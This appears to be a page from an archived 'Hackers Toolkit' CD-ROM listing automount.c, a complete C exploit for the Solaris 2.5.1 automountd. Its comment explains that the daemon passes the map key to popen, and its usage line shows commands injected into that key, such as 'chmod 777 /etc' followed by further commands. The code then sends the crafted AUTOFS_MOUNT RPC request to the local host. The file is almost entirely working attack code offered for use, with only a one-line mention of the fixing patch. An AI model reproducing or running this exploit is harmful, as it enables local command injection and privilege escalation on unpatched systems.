home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit v2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Unix / c-src / automount.c < prev    next >
C/C++ Source or Header  |  1999-11-04  |  2KB  |  92 lines

  1.  
  2. /*
  3.  this is really dumb automountd exploit, tested on solaris 2.5.1
  4.  ./r blahblah /bin/chmod "777 /etc; 2nd cmd;3rd cmd" and so on, 
  5.  map is executed via popen with key given as argument, read automount(1M)
  6.  
  7.  patch 10465[45] fixes this
  8.  
  9.  */
  10.  
  11. #include <sys/types.h>
  12. #include <sys/time.h>
  13. #include <stdio.h>
  14. #include <netdb.h>
  15. #include <rpc/rpc.h>
  16. #include <rpcsvc/autofs_prot.h>
  17.  
  18. #define AUTOTS "datagram_v" /* XXX */
  19.  
  20. void usage(char *s) {
  21.   printf("Usage: %s mountpoint map key [opts]\n", s);
  22.   exit(0);
  23. }
  24.  
  25. bool_t
  26. xdr_mntrequest(xdrs, objp)
  27.         register XDR *xdrs;
  28.         mntrequest *objp;
  29. {
  30.  
  31.         register long *buf;
  32.  
  33.         if (!xdr_string(xdrs, &objp->name, A_MAXNAME))
  34.                 return (FALSE);
  35.         if (!xdr_string(xdrs, &objp->map, A_MAXNAME))
  36.                 return (FALSE);
  37.         if (!xdr_string(xdrs, &objp->opts, A_MAXOPTS))
  38.                 return (FALSE);
  39.         if (!xdr_string(xdrs, &objp->path, A_MAXPATH))
  40.                 return (FALSE);
  41.         return (TRUE);
  42. }
  43.  
  44. bool_t
  45. xdr_mntres(xdrs, objp)
  46.         register XDR *xdrs;
  47.         mntres *objp;
  48. {
  49.  
  50.         register long *buf;
  51.  
  52.         if (!xdr_int(xdrs, &objp->status))
  53.                 return (FALSE);
  54.         return (TRUE);
  55. }
  56.  
  57. main(int argc, char *argv[]) {
  58.   char hostname[MAXHOSTNAMELEN];
  59.   CLIENT *cl;
  60.   enum clnt_stat stat;
  61.   struct timeval tm;
  62.   struct mntrequest req;
  63.   struct mntres result;
  64.  
  65.   if (argc < 4)
  66.     usage(argv[0]);
  67.   
  68.   req.path=argv[1];
  69.   req.map=argv[2];
  70.   req.name=argv[3];
  71.   req.opts=argv[4];
  72.   if (gethostname(hostname, sizeof(hostname)) == -1) {
  73.     perror("gethostname");
  74.     exit(0);
  75.   }
  76.   if ((cl=clnt_create(hostname, AUTOFS_PROG, AUTOFS_VERS, AUTOTS)) == NULL) {
  77.     clnt_pcreateerror("clnt_create");
  78.     exit(0);
  79.   }
  80.   tm.tv_sec=5;
  81.   tm.tv_usec=0;
  82.   stat=clnt_call(cl, AUTOFS_MOUNT, xdr_mntrequest, (char *)&req, xdr_mntres,
  83.         (char *)&result, tm);
  84.   if (stat != RPC_SUCCESS)
  85.     clnt_perror(cl, "mount call"); 
  86.   else 
  87.     printf("mntres = %d.\n", result.status);
  88.   clnt_destroy(cl);
  89. }
  90.  
  91.  
  92.